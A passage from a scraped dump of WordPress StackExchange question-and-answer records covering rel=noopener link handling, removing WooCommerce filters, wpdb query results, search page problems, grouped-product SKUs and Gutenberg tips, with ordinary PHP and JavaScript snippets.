noreferrer\">#46580</a> asks if there's any reason to add the relations for any values of <code>target</code>.</li>\n<li><a href=\"https://core.trac.wordpress.org/ticket/46316\" rel=\"nofollow noreferrer\">46316</a> to not let it corrupt JSON content.</li>\n<li><a href=\"https://core.trac.wordpress.org/ticket/46479\" rel=\"nofollow noreferrer\">#46479</a> to handle the comment fields.</li>\n</ul>\n\n<p>If you have some custom user input that allows external links, then you could use:</p>\n\n<pre><code>$text = wp_targeted_link_rel( $text );\n</code></pre>\n\n<p>to handle it.</p>\n\n<p>The default relation values <code>'noopener noreferrer'</code> are also filterable through the <a href=\"https://core.trac.wordpress.org/browser/tags/5.1.1/src/wp-includes/formatting.php#L3060\" rel=\"nofollow noreferrer\"><code>wp_targeted_link_rel</code></a> filter.</p>\n"
}
] | 2019/04/15 | [
"https://wordpress.stackexchange.com/questions/334397",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/160781/"
] | In [this article](https://mathiasbynens.github.io/rel-noopener/) I read, that using `<a href="" target="blank">` is related to some security issues. They recommend `rel=noopener`.
How do I implement this in my WP-Installation? Which file is the relevant one? Thank you. | Since WordPress 5.1 (see [#43187](https://core.trac.wordpress.org/ticket/43187)) it ships with the [`wp_targeted_link_rel()`](https://developer.wordpress.org/reference/functions/wp_targeted_link_rel/) function, that adds `noreferrer` and `noopener` relation values to all *anchor* elements that have a `target`.
This function is used to filter through the various input data just before saving it, e.g.
* post title,
* post content,
* post excerpt,
* comment content,
* term description,
* link description,
* link notes,
* user description.
Since 5.2 the following improvements are made:
* [#46421](https://core.trac.wordpress.org/ticket/46421) handles the Text and HTML widgets.
* [#43280](https://core.trac.wordpress.org/ticket/43280) handles the Image Media widget.
* [#43290](https://core.trac.wordpress.org/ticket/43290) handles the Menus.
There are open tickets to further refine it, e.g.
* [#46886](https://core.trac.wordpress.org/ticket/46886) to avoid false positive from the `data-target` attribute.
* [#46580](https://core.trac.wordpress.org/ticket/46580) asks if there's any reason to add the relations for any values of `target`.
* [46316](https://core.trac.wordpress.org/ticket/46316) to not let it corrupt JSON content.
* [#46479](https://core.trac.wordpress.org/ticket/46479) to handle the comment fields.
If you have some custom user input that allows external links, then you could use:
```
$text = wp_targeted_link_rel( $text );
```
to handle it.
The default relation values `'noopener noreferrer'` are also filterable through the [`wp_targeted_link_rel`](https://core.trac.wordpress.org/browser/tags/5.1.1/src/wp-includes/formatting.php#L3060) filter. |
334,421 | <p>Ok I'm struggling here - I feel this should be straightforward but I'm just not able to get it to work.</p>
<p>I need to remove a filter added by Woocommerce Subscriptions. The filter is part of the WC_Subscriptions_Switcher class found in class-wc-subscriptions-switcher.php and is added as below</p>
<pre><code>class WC_Subscriptions_Switcher {
/**
* Bootstraps the class and hooks required actions & filters.
*
* @since 1.4
*/
public static function init() {
...
// Display/indicate whether a cart switch item is a upgrade/downgrade/crossgrade
add_filter( 'woocommerce_cart_item_subtotal', __CLASS__ . '::add_cart_item_switch_direction', 10, 3 );
...
</code></pre>
<p>The function adds text to the cart (either (Upgrade), (Downgrade) or (Crossgrade) which I don't want/need to be displayed in my case.</p>
<p>I have tried simply using the remove filter function as below from the Wordpress Codex however the text in question is still displayed regardless.</p>
<pre><code> global $WC_Subscriptions_Switcher;
remove_filter( 'woocommerce_cart_item_subtotal', array($WC_Subscriptions_Switcher, 'add_cart_item_switch_direction') );
</code></pre>
<p>I have also tried everything (I think) I found at the below answer and also simply tried the below from the
<a href="https://wordpress.stackexchange.com/questions/36013/remove-action-or-remove-filter-with-external-classes">remove_action or remove_filter with external classes?</a></p>
<p>How do I remove this filter so that it's not fired in the first place? I know I could override the text using gettext but I think it's cleaner to not have it run in the first place (and even using gettext the html tags added by the filter will remain).</p>
<p>Any help appreciated. </p>
| [
{
"answer_id": 334423,
"author": "nmr",
"author_id": 147428,
"author_profile": "https://wordpress.stackexchange.com/users/147428",
"pm_score": 4,
"selected": true,
"text": "<p>You did not write where you put the filter removal code, but I suspect you tried to delete it before it was added. Another important point, you have not given the <strong>priority</strong> parameter in <code>remove_filter()</code>.</p>\n<p>Quote from the <a href=\"https://codex.wordpress.org/Function_Reference/remove_filter\" rel=\"nofollow noreferrer\">documentation</a>:</p>\n<blockquote>\n<p><em>remove_filter( $tag, $function_to_remove, $priority );</em></p>\n<p><strong>Important</strong>: To remove a hook, the $function_to_remove and $priority arguments must match when the hook was added. This goes for both filters and actions. No warning will be given on removal failure.</p>\n</blockquote>\n<p>Try removing filter when the plugins are already loaded and enter both required parameters - function name and priority.</p>\n<pre><code>add_action( 'plugins_loaded', 'se334421_remove_plugin_filter' );\nfunction se334421_remove_plugin_filter() {\n remove_filter( 'woocommerce_cart_item_subtotal', 'WC_Subscriptions_Switcher::add_cart_item_switch_direction', 10 );\n}\n</code></pre>\n"
},
{
"answer_id": 334424,
"author": "BlueSuiter",
"author_id": 92665,
"author_profile": "https://wordpress.stackexchange.com/users/92665",
"pm_score": 0,
"selected": false,
"text": "<p>Set priority with your action call like as follows:</p>\n\n<pre><code>remove_filter('woocommerce_cart_item_subtotal', array($WC_Subscriptions_Switcher, 'add_cart_item_switch_direction') , 99);\n</code></pre>\n\n<p>You can use numbers in between <code>0-99</code> for setting priority.</p>\n"
}
] | 2019/04/15 | [
"https://wordpress.stackexchange.com/questions/334421",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/153411/"
] | Ok I'm struggling here - I feel this should be straightforward but I'm just not able to get it to work.
I need to remove a filter added by Woocommerce Subscriptions. The filter is part of the WC\_Subscriptions\_Switcher class found in class-wc-subscriptions-switcher.php and is added as below
```
class WC_Subscriptions_Switcher {
/**
* Bootstraps the class and hooks required actions & filters.
*
* @since 1.4
*/
public static function init() {
...
// Display/indicate whether a cart switch item is a upgrade/downgrade/crossgrade
add_filter( 'woocommerce_cart_item_subtotal', __CLASS__ . '::add_cart_item_switch_direction', 10, 3 );
...
```
The function adds text to the cart (either (Upgrade), (Downgrade) or (Crossgrade) which I don't want/need to be displayed in my case.
I have tried simply using the remove filter function as below from the Wordpress Codex however the text in question is still displayed regardless.
```
global $WC_Subscriptions_Switcher;
remove_filter( 'woocommerce_cart_item_subtotal', array($WC_Subscriptions_Switcher, 'add_cart_item_switch_direction') );
```
I have also tried everything (I think) I found at the below answer and also simply tried the below from the
[remove\_action or remove\_filter with external classes?](https://wordpress.stackexchange.com/questions/36013/remove-action-or-remove-filter-with-external-classes)
How do I remove this filter so that it's not fired in the first place? I know I could override the text using gettext but I think it's cleaner to not have it run in the first place (and even using gettext the html tags added by the filter will remain).
Any help appreciated. | You did not write where you put the filter removal code, but I suspect you tried to delete it before it was added. Another important point, you have not given the **priority** parameter in `remove_filter()`.
Quote from the [documentation](https://codex.wordpress.org/Function_Reference/remove_filter):
>
> *remove\_filter( $tag, $function\_to\_remove, $priority );*
>
>
> **Important**: To remove a hook, the $function\_to\_remove and $priority arguments must match when the hook was added. This goes for both filters and actions. No warning will be given on removal failure.
>
>
>
Try removing filter when the plugins are already loaded and enter both required parameters - function name and priority.
```
add_action( 'plugins_loaded', 'se334421_remove_plugin_filter' );
function se334421_remove_plugin_filter() {
remove_filter( 'woocommerce_cart_item_subtotal', 'WC_Subscriptions_Switcher::add_cart_item_switch_direction', 10 );
}
``` |
334,448 | <p>I'm currently using Zeen theme and a couple of other plugins. I've checked all the settings of the plugins and I've disabled all the voices about Google Font.</p>
<p>Now, my theme loads a font via CSS but, checking my <a href="https://gtmetrix.com/reports/thegroovecartel.com/lm1FYlh2" rel="nofollow noreferrer">GTMetrix</a> the site load more than 10 .woff fonts from fonts.gstatic.com .</p>
<p>At the moment I'm delaying the load of the fonts via this JS script</p>
<pre><code><script type="text/javascript">
WebFontConfig = {
google: { families: [ 'Playfair+Display:700,italic,400|Open+Sans:400,700|Montserrat:400,700' ] }
};
(function() {
var wf = document.createElement('script');
wf.src = 'https://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js';
wf.type = 'text/javascript';
wf.async = 'true';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(wf, s);
})();
</script>
</code></pre>
<p>Is there a way to find out which plugin are loading the fonts or a PHP function to insert in the function.php to block the loading of fonts from fonts.gstatic.com?</p>
| [
{
"answer_id": 334423,
"author": "nmr",
"author_id": 147428,
"author_profile": "https://wordpress.stackexchange.com/users/147428",
"pm_score": 4,
"selected": true,
"text": "<p>You did not write where you put the filter removal code, but I suspect you tried to delete it before it was added. Another important point, you have not given the <strong>priority</strong> parameter in <code>remove_filter()</code>.</p>\n<p>Quote from the <a href=\"https://codex.wordpress.org/Function_Reference/remove_filter\" rel=\"nofollow noreferrer\">documentation</a>:</p>\n<blockquote>\n<p><em>remove_filter( $tag, $function_to_remove, $priority );</em></p>\n<p><strong>Important</strong>: To remove a hook, the $function_to_remove and $priority arguments must match when the hook was added. This goes for both filters and actions. No warning will be given on removal failure.</p>\n</blockquote>\n<p>Try removing filter when the plugins are already loaded and enter both required parameters - function name and priority.</p>\n<pre><code>add_action( 'plugins_loaded', 'se334421_remove_plugin_filter' );\nfunction se334421_remove_plugin_filter() {\n remove_filter( 'woocommerce_cart_item_subtotal', 'WC_Subscriptions_Switcher::add_cart_item_switch_direction', 10 );\n}\n</code></pre>\n"
},
{
"answer_id": 334424,
"author": "BlueSuiter",
"author_id": 92665,
"author_profile": "https://wordpress.stackexchange.com/users/92665",
"pm_score": 0,
"selected": false,
"text": "<p>Set priority with your action call like as follows:</p>\n\n<pre><code>remove_filter('woocommerce_cart_item_subtotal', array($WC_Subscriptions_Switcher, 'add_cart_item_switch_direction') , 99);\n</code></pre>\n\n<p>You can use numbers in between <code>0-99</code> for setting priority.</p>\n"
}
] | 2019/04/15 | [
"https://wordpress.stackexchange.com/questions/334448",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/161294/"
] | I'm currently using Zeen theme and a couple of other plugins. I've checked all the settings of the plugins and I've disabled all the voices about Google Font.
Now, my theme loads a font via CSS but, checking my [GTMetrix](https://gtmetrix.com/reports/thegroovecartel.com/lm1FYlh2) the site load more than 10 .woff fonts from fonts.gstatic.com .
At the moment I'm delaying the load of the fonts via this JS script
```
<script type="text/javascript">
WebFontConfig = {
google: { families: [ 'Playfair+Display:700,italic,400|Open+Sans:400,700|Montserrat:400,700' ] }
};
(function() {
var wf = document.createElement('script');
wf.src = 'https://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js';
wf.type = 'text/javascript';
wf.async = 'true';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(wf, s);
})();
</script>
```
Is there a way to find out which plugin are loading the fonts or a PHP function to insert in the function.php to block the loading of fonts from fonts.gstatic.com? | You did not write where you put the filter removal code, but I suspect you tried to delete it before it was added. Another important point, you have not given the **priority** parameter in `remove_filter()`.
Quote from the [documentation](https://codex.wordpress.org/Function_Reference/remove_filter):
>
> *remove\_filter( $tag, $function\_to\_remove, $priority );*
>
>
> **Important**: To remove a hook, the $function\_to\_remove and $priority arguments must match when the hook was added. This goes for both filters and actions. No warning will be given on removal failure.
>
>
>
Try removing filter when the plugins are already loaded and enter both required parameters - function name and priority.
```
add_action( 'plugins_loaded', 'se334421_remove_plugin_filter' );
function se334421_remove_plugin_filter() {
remove_filter( 'woocommerce_cart_item_subtotal', 'WC_Subscriptions_Switcher::add_cart_item_switch_direction', 10 );
}
``` |
334,459 | <p>I need to save advanced custom fields data before calling another function on the post. One way I thought of doing this is to add another button (near the fields) to save the post. Is this possible? thanks </p>
| [
{
"answer_id": 334423,
"author": "nmr",
"author_id": 147428,
"author_profile": "https://wordpress.stackexchange.com/users/147428",
"pm_score": 4,
"selected": true,
"text": "<p>You did not write where you put the filter removal code, but I suspect you tried to delete it before it was added. Another important point, you have not given the <strong>priority</strong> parameter in <code>remove_filter()</code>.</p>\n<p>Quote from the <a href=\"https://codex.wordpress.org/Function_Reference/remove_filter\" rel=\"nofollow noreferrer\">documentation</a>:</p>\n<blockquote>\n<p><em>remove_filter( $tag, $function_to_remove, $priority );</em></p>\n<p><strong>Important</strong>: To remove a hook, the $function_to_remove and $priority arguments must match when the hook was added. This goes for both filters and actions. No warning will be given on removal failure.</p>\n</blockquote>\n<p>Try removing filter when the plugins are already loaded and enter both required parameters - function name and priority.</p>\n<pre><code>add_action( 'plugins_loaded', 'se334421_remove_plugin_filter' );\nfunction se334421_remove_plugin_filter() {\n remove_filter( 'woocommerce_cart_item_subtotal', 'WC_Subscriptions_Switcher::add_cart_item_switch_direction', 10 );\n}\n</code></pre>\n"
},
{
"answer_id": 334424,
"author": "BlueSuiter",
"author_id": 92665,
"author_profile": "https://wordpress.stackexchange.com/users/92665",
"pm_score": 0,
"selected": false,
"text": "<p>Set priority with your action call like as follows:</p>\n\n<pre><code>remove_filter('woocommerce_cart_item_subtotal', array($WC_Subscriptions_Switcher, 'add_cart_item_switch_direction') , 99);\n</code></pre>\n\n<p>You can use numbers in between <code>0-99</code> for setting priority.</p>\n"
}
] | 2019/04/15 | [
"https://wordpress.stackexchange.com/questions/334459",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165135/"
] | I need to save advanced custom fields data before calling another function on the post. One way I thought of doing this is to add another button (near the fields) to save the post. Is this possible? thanks | You did not write where you put the filter removal code, but I suspect you tried to delete it before it was added. Another important point, you have not given the **priority** parameter in `remove_filter()`.
Quote from the [documentation](https://codex.wordpress.org/Function_Reference/remove_filter):
>
> *remove\_filter( $tag, $function\_to\_remove, $priority );*
>
>
> **Important**: To remove a hook, the $function\_to\_remove and $priority arguments must match when the hook was added. This goes for both filters and actions. No warning will be given on removal failure.
>
>
>
Try removing filter when the plugins are already loaded and enter both required parameters - function name and priority.
```
add_action( 'plugins_loaded', 'se334421_remove_plugin_filter' );
function se334421_remove_plugin_filter() {
remove_filter( 'woocommerce_cart_item_subtotal', 'WC_Subscriptions_Switcher::add_cart_item_switch_direction', 10 );
}
``` |
334,503 | <p>I have this:</p>
<pre><code> global $wpdb;
$wpdbp = $wpdb->prepare('SELECT EXISTS ([some query] WHERE user_id =%d);',$target_user_id);
$result = $wpdb->get_results($wpdbp);
</code></pre>
<p>I want to know if the query result is 1 or 0.
But a var_dump() of $result give something like:</p>
<pre><code>array (size=1)
0 =>
object(stdClass)[4592]
public 'EXISTS ([some query] WHERE user_id =2)' => string '0' (length=1)
</code></pre>
<p>Which means I should first get element 0 of array, but then, I need to access a property which name is literally the whole query.</p>
<p>I yet need to test if that is even doable in php (I guess yes but I don't remember in this language precisely), and what happens if I have multiline query ...
Anyway I find that so ugly ... is there a cleaned way to get query result?
Maybe there's a way to give a name string to the query or so?</p>
<hr>
<p>Here is what I'm trying and this isn't even working ...</p>
<pre><code>$qeryAsPropertyName = substr($wpdbp,7, -strlen($wpdbp-1));
$result0 = $result[0]->$qeryAsPropertyName;
</code></pre>
| [
{
"answer_id": 334504,
"author": "Rup",
"author_id": 3276,
"author_profile": "https://wordpress.stackexchange.com/users/3276",
"pm_score": 3,
"selected": true,
"text": "<p>This answer explains what the OP saw with column names and how to work with that, but the real answer is to use <a href=\"https://developer.wordpress.org/reference/classes/wpdb/get_var/\" rel=\"nofollow noreferrer\">get_var()</a> as in <a href=\"https://wordpress.stackexchange.com/a/334505\">Howdy_McGee's answer</a>.</p>\n\n<hr>\n\n<p>The string you're seeing is the column name that MySQL is using for the result, because it doesn't have any better ideas. One way is to give it an explicit name to use instead with <code>AS</code>, e.g.</p>\n\n<pre><code>global $wpdb;\n$wpdbp = $wpdb->prepare('SELECT EXISTS ([some query] WHERE user_id =%d) AS `exists`;',\n $target_user_id);\n$result = $wpdb->get_results($wpdbp);\n</code></pre>\n\n<p>then the column name will be <code>exists</code>, i.e.</p>\n\n<pre><code>$result = $result[0]['exists'];\n</code></pre>\n\n<p><s>However I'm surprised there isn't a 'execute query and return scalar' method in <code>$wpdb</code> that you can use instead to just fetch a single result like this.</s> There is a better way, but I'd missed it as I was searching for terms like 'scalar', bah.</p>\n"
},
{
"answer_id": 334505,
"author": "Howdy_McGee",
"author_id": 7355,
"author_profile": "https://wordpress.stackexchange.com/users/7355",
"pm_score": 3,
"selected": false,
"text": "<p><a href=\"https://codex.wordpress.org/Class_Reference/wpdb\" rel=\"noreferrer\">The WPDB Class</a> has quite a few methods which vary what will be returned.</p>\n\n<p>Using <code>WPDB::get_results()</code> returns an array of objects whose properties end up being what it expects to be returned. In this case may be best to alias your subquery. For example, if I wanted to check if user ID 1 exists I could say:</p>\n\n<pre><code>$results = $wpdb->get_results( \"SELECT EXISTS( SELECT ID FROM {$wpdb->users} WHERE ID = 1 ) AS 'exists'\" );\n\nif( ! empty( $results ) && $results[0]->exists ) {\n /* ... */\n}\n</code></pre>\n\n<p>A better solution would be, if you just want one thing returned, you could use <a href=\"https://codex.wordpress.org/Class_Reference/wpdb#SELECT_a_Variable\" rel=\"noreferrer\"><code>WPDB::get_var()</code></a></p>\n\n<pre><code>$exists = $wpdb->get_var( $wpdb->prepare( \"\n SELECT EXISTS ( [some query] WHERE user_id = %d )\n\", $user_id ) );\n\nif( $exists ) {\n /* ... */\n}\n</code></pre>\n\n<p>Or if you wanted the username by ID:</p>\n\n<pre><code>$username = $wpdb->get_var( $wpdb->prepare( \"\n SELECT user_login FROM {$wpdb->users} WHERE ID = %d\n\", $user_id ) );\n\nif( ! empty( $username ) ) {\n printf( 'User %d user name is: %s', $user_id, $username );\n}\n</code></pre>\n\n<p>That being said your best bet is to read through the documentation and look at the available methods to figure out which is best in your user case:</p>\n\n<p><a href=\"https://codex.wordpress.org/Class_Reference/wpdb\" rel=\"noreferrer\">https://codex.wordpress.org/Class_Reference/wpdb</a></p>\n"
}
] | 2019/04/16 | [
"https://wordpress.stackexchange.com/questions/334503",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/164696/"
] | I have this:
```
global $wpdb;
$wpdbp = $wpdb->prepare('SELECT EXISTS ([some query] WHERE user_id =%d);',$target_user_id);
$result = $wpdb->get_results($wpdbp);
```
I want to know if the query result is 1 or 0.
But a var\_dump() of $result give something like:
```
array (size=1)
0 =>
object(stdClass)[4592]
public 'EXISTS ([some query] WHERE user_id =2)' => string '0' (length=1)
```
Which means I should first get element 0 of array, but then, I need to access a property which name is literally the whole query.
I yet need to test if that is even doable in php (I guess yes but I don't remember in this language precisely), and what happens if I have multiline query ...
Anyway I find that so ugly ... is there a cleaned way to get query result?
Maybe there's a way to give a name string to the query or so?
---
Here is what I'm trying and this isn't even working ...
```
$qeryAsPropertyName = substr($wpdbp,7, -strlen($wpdbp-1));
$result0 = $result[0]->$qeryAsPropertyName;
``` | This answer explains what the OP saw with column names and how to work with that, but the real answer is to use [get\_var()](https://developer.wordpress.org/reference/classes/wpdb/get_var/) as in [Howdy\_McGee's answer](https://wordpress.stackexchange.com/a/334505).
---
The string you're seeing is the column name that MySQL is using for the result, because it doesn't have any better ideas. One way is to give it an explicit name to use instead with `AS`, e.g.
```
global $wpdb;
$wpdbp = $wpdb->prepare('SELECT EXISTS ([some query] WHERE user_id =%d) AS `exists`;',
$target_user_id);
$result = $wpdb->get_results($wpdbp);
```
then the column name will be `exists`, i.e.
```
$result = $result[0]['exists'];
```
~~However I'm surprised there isn't a 'execute query and return scalar' method in `$wpdb` that you can use instead to just fetch a single result like this.~~ There is a better way, but I'd missed it as I was searching for terms like 'scalar', bah. |
334,514 | <p>I am tying to use the standard WordPress search, but when I attempted to search I am taking to an index instead of the search results.
The search url seems correct: <a href="https://example.com/blog/?s=admissions" rel="nofollow noreferrer">https://example.com/blog/?s=admissions</a></p>
<h2>Search form</h2>
<pre><code><form role="search" method="get" class="search-form" action="https://example.com/blog/">
<label for="search-form-5cb5f4940c0aa">
<span class="screen-reader-text">Search for:</span>
</label>
<input type="search" id="search-form-5cb5f4940c0aa" class="search-field" placeholder="Search &hellip;" value="" name="s" />
<button type="submit" class="search-submit"><svg class="icon icon-search" aria-hidden="true" role="img"> <use href="#icon-search" xlink:href="#icon-search"></use> </svg><span class="screen-reader-text">Search</span></button>
</code></pre>
<p></p>
<h2>Search.php</h2>
<pre><code><?php
</code></pre>
<p>/**
* The template for displaying search results pages
*
* @link <a href="https://developer.wordpress.org/themes/basics/template-hierarchy/#search-result" rel="nofollow noreferrer">https://developer.wordpress.org/themes/basics/template-hierarchy/#search-result</a>
*
* @package WordPress
* @subpackage Twenty_Seventeen
* @since 1.0
* @version 1.0
*/</p>
<p>get_header(); ?></p>
<p></p>
<pre><code><header class="page-header">
<?php if ( have_posts() ) : ?>
<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentyseventeen' ), '<span>' . get_search_query() . '</span>' ); ?></h1>
<?php else : ?>
<h1 class="page-title"><?php _e( 'Nothing Found', 'twentyseventeen' ); ?></h1>
<?php endif; ?>
</header><!-- .page-header -->
<div id="primary" class="content-area">
<main id="main" class="site-main" role="main">
<?php
if ( have_posts() ) :
/* Start the Loop */
while ( have_posts() ) : the_post();
/**
* Run the loop for the search to output the results.
* If you want to overload this in a child theme then include a file
* called content-search.php and that will be used instead.
*/
get_template_part( 'template-parts/post/content', 'excerpt' );
endwhile; // End of the loop.
the_posts_pagination( array(
'prev_text' => twentyseventeen_get_svg( array( 'icon' => 'arrow-left' ) ) . '<span class="screen-reader-text">' . __( 'Previous page', 'twentyseventeen' ) . '</span>',
'next_text' => '<span class="screen-reader-text">' . __( 'Next page', 'twentyseventeen' ) . '</span>' . twentyseventeen_get_svg( array( 'icon' => 'arrow-right' ) ),
'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentyseventeen' ) . ' </span>',
) );
else : ?>
<p><?php _e( 'Sorry, but nothing matched your search terms. Please try again with some different keywords.', 'twentyseventeen' ); ?></p>
<?php
get_search_form();
endif;
?>
</main><!-- #main -->
</div><!-- #primary -->
<?php get_sidebar(); ?>
</code></pre>
<p></p>
<p>
<p>Any suggestions on what I am missing here?</p>
<h2>Screenshot examples</h2>
<p><a href="https://i.stack.imgur.com/6ZEwR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/6ZEwR.png" alt="category page of website"></a></p>
<p><a href="https://i.stack.imgur.com/urcpJ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/urcpJ.png" alt="directory listing of website with search parameter added"></a></p>
<h2><code>.htaccess</code></h2>
<pre><code># BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /blog/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /blog/index.php [L]
</IfModule>
# END WordPress
</code></pre>
| [
{
"answer_id": 334530,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": -1,
"selected": false,
"text": "<p>If your theme is using the standard searching process, then you need to create a Child Theme and then clone/edit the themes search.php file. </p>\n\n<p>If you are using your own search form, then please describe how you are implementing it on your site. </p>\n\n<p>Search forms (and results) are best coded through the search.php template in your theme. Using a Child Theme makes sure that any theme updates don't overwrite changes you make to the theme's search.php file.</p>\n"
},
{
"answer_id": 336563,
"author": "John Booz",
"author_id": 165186,
"author_profile": "https://wordpress.stackexchange.com/users/165186",
"pm_score": 0,
"selected": false,
"text": "<p>The problem was due to htaccess file that was in the root directory.</p>\n\n<pre><code>**`.htaccess`**\n\n DirectoryIndex start.php\n</code></pre>\n\n<p>This was causing all of the index.php files to be changed to start.php. This filr did not exist in my wordpress directory. When I renamed the index.php to start.php in the wordpress installed sub directory the search started to work.</p>\n\n<p>I removed the DirectoryIndex command from the root directory and changed start.php to index.php. Wordpress blog is now working correctly.\nThanks,\nJohn</p>\n"
}
] | 2019/04/16 | [
"https://wordpress.stackexchange.com/questions/334514",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165186/"
] | I am tying to use the standard WordPress search, but when I attempted to search I am taking to an index instead of the search results.
The search url seems correct: <https://example.com/blog/?s=admissions>
Search form
-----------
```
<form role="search" method="get" class="search-form" action="https://example.com/blog/">
<label for="search-form-5cb5f4940c0aa">
<span class="screen-reader-text">Search for:</span>
</label>
<input type="search" id="search-form-5cb5f4940c0aa" class="search-field" placeholder="Search …" value="" name="s" />
<button type="submit" class="search-submit"><svg class="icon icon-search" aria-hidden="true" role="img"> <use href="#icon-search" xlink:href="#icon-search"></use> </svg><span class="screen-reader-text">Search</span></button>
```
Search.php
----------
```
<?php
```
/\*\*
\* The template for displaying search results pages
\*
\* @link <https://developer.wordpress.org/themes/basics/template-hierarchy/#search-result>
\*
\* @package WordPress
\* @subpackage Twenty\_Seventeen
\* @since 1.0
\* @version 1.0
\*/
get\_header(); ?>
```
<header class="page-header">
<?php if ( have_posts() ) : ?>
<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentyseventeen' ), '<span>' . get_search_query() . '</span>' ); ?></h1>
<?php else : ?>
<h1 class="page-title"><?php _e( 'Nothing Found', 'twentyseventeen' ); ?></h1>
<?php endif; ?>
</header><!-- .page-header -->
<div id="primary" class="content-area">
<main id="main" class="site-main" role="main">
<?php
if ( have_posts() ) :
/* Start the Loop */
while ( have_posts() ) : the_post();
/**
* Run the loop for the search to output the results.
* If you want to overload this in a child theme then include a file
* called content-search.php and that will be used instead.
*/
get_template_part( 'template-parts/post/content', 'excerpt' );
endwhile; // End of the loop.
the_posts_pagination( array(
'prev_text' => twentyseventeen_get_svg( array( 'icon' => 'arrow-left' ) ) . '<span class="screen-reader-text">' . __( 'Previous page', 'twentyseventeen' ) . '</span>',
'next_text' => '<span class="screen-reader-text">' . __( 'Next page', 'twentyseventeen' ) . '</span>' . twentyseventeen_get_svg( array( 'icon' => 'arrow-right' ) ),
'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentyseventeen' ) . ' </span>',
) );
else : ?>
<p><?php _e( 'Sorry, but nothing matched your search terms. Please try again with some different keywords.', 'twentyseventeen' ); ?></p>
<?php
get_search_form();
endif;
?>
</main><!-- #main -->
</div><!-- #primary -->
<?php get_sidebar(); ?>
```
Any suggestions on what I am missing here?
Screenshot examples
-------------------
[](https://i.stack.imgur.com/6ZEwR.png)
[](https://i.stack.imgur.com/urcpJ.png)
`.htaccess`
-----------
```
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /blog/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /blog/index.php [L]
</IfModule>
# END WordPress
``` | The problem was due to htaccess file that was in the root directory.
```
**`.htaccess`**
DirectoryIndex start.php
```
This was causing all of the index.php files to be changed to start.php. This filr did not exist in my wordpress directory. When I renamed the index.php to start.php in the wordpress installed sub directory the search started to work.
I removed the DirectoryIndex command from the root directory and changed start.php to index.php. Wordpress blog is now working correctly.
Thanks,
John |
334,558 | <p>Does anyone know how to display the SKU for each Single product title, underneath the Group product? I want to display the SKU to be obvious,as a second line,right below each product of the group.</p>
<p><a href="https://i.stack.imgur.com/4rqR9.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/4rqR9.png" alt="enter image description here"></a></p>
<p><a href="https://i.stack.imgur.com/UvKI8.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/UvKI8.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 334562,
"author": "Karan Naimish Trivedi",
"author_id": 164966,
"author_profile": "https://wordpress.stackexchange.com/users/164966",
"pm_score": 1,
"selected": false,
"text": "<p>Try with the CODE below:</p>\n\n<pre><code>global $woocommerce , $product;\n$sku = $product->get_sku();\necho $sku;\n</code></pre>\n"
},
{
"answer_id": 334685,
"author": "George",
"author_id": 165128,
"author_profile": "https://wordpress.stackexchange.com/users/165128",
"pm_score": 0,
"selected": false,
"text": "<p>I want to show the sku coe below from any title in grouped child products.</p>\n\n<p>Where to put that code?\nIn functions.php? </p>\n"
},
{
"answer_id": 380702,
"author": "Marcio Dias",
"author_id": 47306,
"author_profile": "https://wordpress.stackexchange.com/users/47306",
"pm_score": 0,
"selected": false,
"text": "<p>Try the code below in <strong>functions.php</strong>:</p>\n<pre><code>function wc_show_sku_grouped_product($value, $grouped_product_child){\n\nglobal $product;\n\n$sku = $product->get_sku();\n\nif(!empty($sku)){\n\n $value .= "<div><strong>".__( 'SKU:', 'woocommerce' )." ".$sku."</strong></div>";\n\n}\n\nreturn $value;\n\n}\n\nadd_filter('woocommerce_grouped_product_list_column_label', 'wc_show_sku_grouped_product', 10, 2);\n</code></pre>\n"
}
] | 2019/04/17 | [
"https://wordpress.stackexchange.com/questions/334558",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165128/"
] | Does anyone know how to display the SKU for each Single product title, underneath the Group product? I want to display the SKU to be obvious,as a second line,right below each product of the group.
[](https://i.stack.imgur.com/4rqR9.png)
[](https://i.stack.imgur.com/UvKI8.png) | Try with the CODE below:
```
global $woocommerce , $product;
$sku = $product->get_sku();
echo $sku;
``` |
334,559 | <p>I like Gutenberg a lot, however, the tips at the beginning of each page load
drives me mad. I would like to disable the nagging tips forever and ever via code.</p>
<p>Please don't post "Disable Gutenberg" plugin, I've already seen that. I want to do it via a couple of lines of code in my theme.</p>
<p>There must be a hook, but I couldn't find it.
Thanks for a hint.</p>
<p><a href="https://i.stack.imgur.com/yplp7.png" rel="noreferrer"><img src="https://i.stack.imgur.com/yplp7.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 334561,
"author": "nmr",
"author_id": 147428,
"author_profile": "https://wordpress.stackexchange.com/users/147428",
"pm_score": 5,
"selected": true,
